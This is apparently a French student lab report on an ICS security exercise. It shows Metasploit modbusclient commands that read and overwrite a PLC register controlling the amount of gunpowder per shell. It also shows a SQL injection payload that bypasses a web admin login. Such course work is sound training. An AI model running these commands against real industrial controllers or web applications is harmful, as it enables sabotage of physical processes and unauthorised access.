# Rapport de vulnérabilité ICS
Auteurs : JANVIER Luc & DUPUY Fabien
---
## 1) Analyse des échanges réseaux
En bon spécialiste organisé et prévoyant, vous avez installé plusieurs outils utiles pour préparer
l’attaque du site industriel. Commencez par analyser les échanges des deux machines à l’aide de
l’outil Wireshark.
**1) Sur quel port communiquent les deux machines ?**
Les deux machines communiquent sur le port 502

**2) A l’aide de quel protocole ?**
Ils communiquent à l'iade du protocole Modbus TCP

Sommairement, un automate industriel est un ensemble d’emplacements mémoires, appelés registres, dans lesquels le programme principal va lire et écrire des valeurs propres à l’automate (e.g. des mesures remontées par un capteur).
**3) Combien de registres identifiez-vous ?**
On peut identifier 17 registres différents :

## 2) Prise de contrôle de l’automate
**1) Pouvez-vous identifier le rôle de chaque registre ?**
:warning: Les registres ont été identifiés durant le cours :warning:
## 3) Attaque directe sur l’automate
### Phase de reconnaissance
Metasploit nous permet dans un premier temps de récupérer les informations stockés dans les registres.
Pour cela nous utilisons différentes commmande :
```bash=
> use auxiliary/scanner/scada/modbusclient (module msfconsole à utiliser)
> set RHOST 192.168.2.8 (IP cible)
> set action READ_REGISTERS (Action de lire le registre à l'adresse 10)
> run (lancer l'attaque)
```
Puis nous obtenons le résultat suivant :

Ce résultat de 50 fait référence au nombre de poudre que donne l'usine dans un obus :

Maintenant nous allons essayer de changer cette valeur grâce au bouton More dont on connait le registre : 11
### Phase d'attaque
A présent nous allons utiliser le module afin d'écrire dans le registre 11 qui permet d'augmenter de 1 la valeur : "Amount of gunpower"
Avec les commande suivante :
```bash
> set action WRITE_REGISTER (action d'écrire dans le registre)
> set DATA_ADDRESS 11 (adresse du register 11)
> set DATA 1 (la valeur à ajouter ici 1)
> run (lancement de l'attaque)
```
Voilà le résultat :

La valeur "1" a bien été ajouté au registre 11, du côté de l'usine, nous obtenons bien le passge de 50 à 51 :

## 4) Attaque indirecte via l’interface d’administration
**1) Quelle vulnérabilité avez-vous découvert ? Comment l’avez-vous exploitée ?**
Nous avons tenté une injection SQL de type :
```
> ' OR 1=1 LIMIT 1 OFFSET 1--
```

Par conséquent, nous remarquons que nous avons désormais accès au dashboard de la console web pour utilisateur "Grégoire".
